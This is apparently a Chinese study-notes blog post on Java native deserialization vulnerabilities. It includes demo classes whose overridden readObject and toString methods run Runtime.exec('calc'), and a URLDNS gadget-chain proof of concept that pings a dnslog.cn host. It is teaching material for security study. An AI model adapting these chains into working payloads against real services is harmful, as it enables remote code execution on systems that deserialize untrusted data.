Day35:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

news2024/10/7 20:26:09

目录

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-原生使用-序列化&反序列化

序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

为什么有序列化技术?

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式

序列化实现,创建用户类,并实现 Serializable接口
package com.example;

import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }
}

创建对应的序列化类,并创建对应的序列化方法:SerializableDemo.java

// 指定包名
package com.example;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

// 序列化演示类
public class SerializableDemo {

    public static void main(String[] args) throws IOException {
        // 创建一个用户对象,引用UserDemo
        UserDemo u = new UserDemo("xdsec", "gay1", 30);
        // 调用方法进行序列化
        SerializableTest(u);
        // ser.txt 就是对象u序列化的字节流数据
    }

    // 序列化方法
    public static void SerializableTest(Object obj) throws IOException {
        // 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        // 将对象 obj 进行序列化,并将序列化后的数据写入到文件输出流中。
        oos.writeObject(obj);
        // 关闭流
        oos.close();
    }
}

ser.txt的内容:

创建对应反序列化类,并创建对应反序列化方法:UnserializableDemo.java
package com.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

// 反序列化演示类
public class UnserializableDemo {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 调用下面的方法,传输 ser.txt,解析还原反序列化
        Object obj = UnserializableTest("ser.txt");

        // 对 obj 对象进行输出,默认调用原始对象的 toString 方法
        System.out.println(obj);
    }

    // 反序列化方法
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        // 读取 Filename 文件进行反序列化还原
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        // 通过 ois.readObject() 方法从文件输入流中读取一个对象,并将其赋值给变量 o。
        Object o = ois.readObject();
        // 返回反序列化后的对象
        return o;
    }
}

Java-安全问题-重写方法&触发方法

toString  //输出调用toString方法

User u = new User("xdsec","man",30);

System.out.println(u);

serializeTest(u);

unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

//指向正确defaultReadObject

        ois.defaultReadObject();

Runtime.getRuntime().exec("calc");

}

重写方法:原理:readObject  序列化后被重写 readObject 调用

修改UserDemo.java

package com.example;


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {
        

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
    {
        // 指向正确的defaultReadObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }


}

运行 SerializableDemo.java 生成新的 ser.txt 后,运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。

这是因为在进行反序列化操作过程中,如下方法调用了 readObject 方法,但由于我们在 UserDemo.java 重写了该方法,所以导致此处执行的 readObject 不是原本默认的 readObject,而是我们自定义的 readObject,其中 ois.defaultReadObject() 使其指向正确的 readObject 从而使程序可以正常运行,又可以执行我们的代码

提一嘴,迪总说这个实战中基本遇不到,因为没人会这么干

触发方法:原理:toString  输出打印对象时调用 toString 方法

修改UserDemo.java

package com.example;

//import java.io.Serializable;
//import java.io.IOException;
//import java.io.ObjectInputStream;
//
 用户信息类,实现了 Serializable 接口
//public class UserDemo implements Serializable {
//
//    // 公共成员变量
//    public String name = "xiaodi";
//    public String gender = "man";
//    public Integer age = 30;
//
//    // 构造方法
//    public UserDemo(String name, String gender, Integer age) {
//        this.name = name;
//        this.gender = gender;
//        this.age = age;
//        System.out.println(name);
//        System.out.println(gender);
//    }
//
//    // toString 方法,用于打印对象信息
//    public String toString() {
//
//        // 返回对象信息的字符串表示
//        return "User{" +
//                "name='" + name + '\'' +
//                ", gender='" + gender + '\'' +
//                ", age=" + age +
//                '}';
//    }
//}


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e) {
            throw new RuntimeException(e);
        }

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

}

这里没有运行 SerializableDemo.java 生成新的 ser.txt,我前面一直以为 ser.txt 里面保存的是那个对象类,需要每次新生成,写的新代码才会生效。结果这里直接运行反序列化,新写的代码也可以生效,有点纳闷。

直接运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。这是由于当对一个对象进行打印输出时,会默认自动调用它的 toString 方法,而我们这里在 toString 加入了我们要运行的代码,所以当反序列化时下面代码运行打印输出时,我们的代码就会成功执行。

Java-安全问题-可控其他类重写方法

参考:https :// github . com / frohoff / ysoserial / blob / master / src / main / java / ysoserial / payloads / URLDNS . java

UrLDns.java

package com.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://0tzp6g.dnslog.cn");
        hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }


    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }


}

正常代码中 创建对象HashMap

用到原生态readObject方法去反序列化数据
readObject 在ObjectInputSteam 本来在这里
HashMap也有readObject方法

反序列化readObject方法调用 HashMap里面的readObject
执行链:
序列化对象hash 来源于自带类HashMap
 *   Gadget Chain:
        *   HashMap.readObject()
        *       HashMap.putVal()
        *         HashMap.hash()
        *           URL.hashCode()
hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1509262.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构顺序表的操作,窗口界面(c语言版)

// 准备头文件 #include <stdio.h> #include <stdlib.h>#define InitSize 10 // 动态顺序表的初始默认长度// 定义C语言的bool变量 #define bool char #define true 1 #define false 0/* 定义数据元素的数据类型 */ typedef int ElemType; // 方便更改// 动态顺…

职场逆袭!如何打造‘黄金简历’

现在的职场&#xff0c;无论是哪个行业都特别卷&#xff0c;想要找到一份满意&#xff0c;不仅要求你要拥有丰富的工作经验&#xff0c;而且还要求你的简历足够精彩&#xff0c;这样才能在一众求职者中脱颖而出&#xff01; 一、希赛老师在线指导 之前&#xff0c;小赛分享了…

从0到1了解工业物联网,只需掌握这七点!

目录 1、什么是工业物联网&#xff1f; 2、为什么需要工业物联网&#xff1f; 3、工业物联网与物联网的区别&#xff1f; 4、工业物联网与工业互联网的区别&#xff1f; 5、工业物联网有哪些典型特征&#xff1f; 6、工业物联网方案架构&#xff1f; 7、工业物联网有哪些…

用了一个select框出现的问题许多问题差不多搞了一个多小时最后还是百度解决了,百度伟大

问题出现 问题描述 select 多选框里的数据问题&#xff0c;我讲获取的数据信息放入框ref(null) 中&#xff0c;将数据返回到返回框里&#xff0c;一直发现存在问题&#xff0c;不能正常显示&#xff0c;百度里一下&#xff0c;发现没有百度到其他问题&#xff0c;最后换了一种…

【网络安全】-数字证书

数字证书 数字证书是互联网通讯中用于标志通讯各方身份信息的一串数字或数据&#xff0c;它为网络应用提供了一种验证通信实体身份的方式。具体来说&#xff0c;数字证书是由权威的证书授权&#xff08;CA&#xff09;中心签发的&#xff0c;包含公开密钥拥有者信息以及公开密…

29个社媒营销经典案例!外贸人速来学习!

今天给大家分享一些比较经典的外贸社媒营销案例&#xff0c;希望对大家有帮助&#xff01; 01 创建重复的内容系列 如果你每天都在为决定要在社交媒体上发布什么内容而焦头烂额&#xff0c;那就创建一些你擅长的重复内容系列和主题。 例如&#xff0c;有人经常分享鼓舞人心的…

JAVA实战开源项目:校园失物招领管理系统(Vue+SpringBoot)

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 招领管理模块2.2 寻物管理模块2.3 系统公告模块2.4 感谢留言模块 三、界面展示3.1 登录注册3.2 招领模块3.3 寻物模块3.4 公告模块3.5 感谢留言模块3.6 系统基础模块 四、免责说明 一、摘要 1.1 项目介绍 校园失物招领…

Java实现Tron(波场)区块链的开发实践(三)波场链水龙头、WEB3测试实战

上一节我们具体讲到Java实现Tron波场链的逻辑代码实现。 这一节我们通过部署和开发好的代码&#xff0c;针对测试链进行自测开发&#xff0c;准备测试环境。 1. 创建离线地址 首先我们需要一个离线地址&#xff0c;我们不需要在线进行创建&#xff0c;直接可以通过第一节的离…

py脚本模拟json数据,StructuredStreaming接收数据存储HDFS一些小细节 ERROR:‘path‘ is not specified

很多初次接触到StructuredStreaming 应该会写一个这样的案例 - py脚本不断产生数据写入linux本地&#xff0c; 通过hdfs dfs 建目录文件来实时存储到HDFS中 1. 指定数据schema&#xff1a; 实时json数据 2. 数据源地址&#xff1a;HDFS 3. 结果落地位置&#xff1a; HDFS …

PostgreSQL索引篇 | Hash索引

PostgreSQL版本为8.4.1 &#xff08;本文为《PostgreSQL数据库内核分析》一书的总结笔记&#xff0c;需要电子版的可私信我&#xff09; 索引篇&#xff1a; PostgreSQL索引篇 | BTreePostgreSQL索引篇 | GIN索引PostgreSQL索引篇 | Gist索引PostgreSQL索引篇 | TSearch2 全文…

哪里下载短视频素材?推荐几个短视频素材下载网站

当短视频行业的迅速崛起&#xff0c;剪辑影视短片的魅力无法抗拒&#xff0c;越来越多朋友爱看短视频&#xff0c;但从哪里找到高清、无水印和无字幕的短视频素材呢&#xff1f;今天&#xff0c;我将为大家推荐几个可获取短视频素材的优秀网站&#xff0c;下面让我们一起去看看…

使用helm部署clickhouse

&#xff08;作者&#xff1a;陈玓玏&#xff09; 前置条件 已安装 Kubernetes 集群&#xff1b; 已安装 Helm 包管理工具。 部署 1 添加 RadonDB ClickHouse 的 Helm 仓库 helm repo add ck https://radondb.github.io/radondb-clickhouse-kubernetes/ helm repo upd…

函数的传入参数-传参定义

基于函数的定义语法&#xff1a; def 函数名&#xff08;传入参数&#xff09;函数体return 返回值 可以有如下函数定义&#xff1a; def add(x,y):return xyprint(f"{x} {y}的结果是&#xff1a;{result}") 实现了&#xff0c;每次计算的是xy&#xff0c;而非…

raid0、raid1、raid5、raid10选哪个?一文给你答案!

下午好&#xff0c;我的网工朋友。 关于磁盘阵列的用法&#xff0c;总有朋友对其用途与功能一知半解&#xff0c;很容易弄混。 而我们在做监控项目存储时&#xff0c;经常会用到磁盘阵列。 什么是磁盘阵列&#xff1f;为什么要做磁盘阵列&#xff1f;用什么样的磁盘阵列合适…

三次握手,四次挥手基本概念及其抓包演示

目录 1.tcp三次握手 2.tcp四次挥手 3.思考问题(面试常考) 3.1 三次握手时可能出现什么攻击? 3.2 为什么是三次握手,可不可以是两次,为什么? ​编辑3.3 四次挥手的过程可以用三次完成吗? 4.抓包演示三次握手四次挥手 1.tcp三次握手 tcp协议特点:面向连接的,可靠的,流式…

Vue3 ElementPlus-table组件(合计)合并列

在使用ElementPlus的table组件的时候&#xff0c;我们通常会处理合计&#xff0c;当遇到合计行需要合并列的时候&#xff0c;可以这样做。 核心就是获取标签&#xff0c;对标签的CSS样式进行设置&#xff0c;以达到合并单元格的效果。 Template <el-tablemax-height"ca…

UnityShader常用算法笔记(颜色叠加混合、RGB-HSV-HSL的转换、重映射、UV序列帧动画采样等,持续更新中)

一.颜色叠加混合 1.Blend混合 // 正常&#xff0c;透明度混合 Normal Blend SrcAlpha OneMinusSrcAlpha //柔和叠加 Soft Additive Blend OneMinusDstColor One //正片叠底 相乘 Multiply Blend DstColor Zero //两倍叠加 相加 2x Multiply Blend DstColor SrcColor //变暗…

力扣:链表篇章

1、链表 链表是一种通过指针串联在一起的线性结构&#xff0c;每一个节点由两部分组成&#xff0c;一个是数据域一个是指针域&#xff08;存放指向下一个节点的指针&#xff09;&#xff0c;最后一个节点的指针域指向null&#xff08;空指针的意思&#xff09;。 2、链表的类…

软件开发人员从0到1实现物联网项目:需求分析

文章目录 前言市场调研线下考察竞品参考 项目目标功能需求用户端功能需求商家功能需求系统管理功能需求 非功能需求性能安全性易用性扩展性可靠性 小结 前言 上文对实现自助棋牌室项目涉及到的技术做了调研&#xff0c;尤其是物联网技术。那接下来就是对需求进行一番分析了&am…

Swing不显示图片

文件在同一目录下&#xff0c;这样写运行不显示图片 把路径改为绝对路径 程序正常运行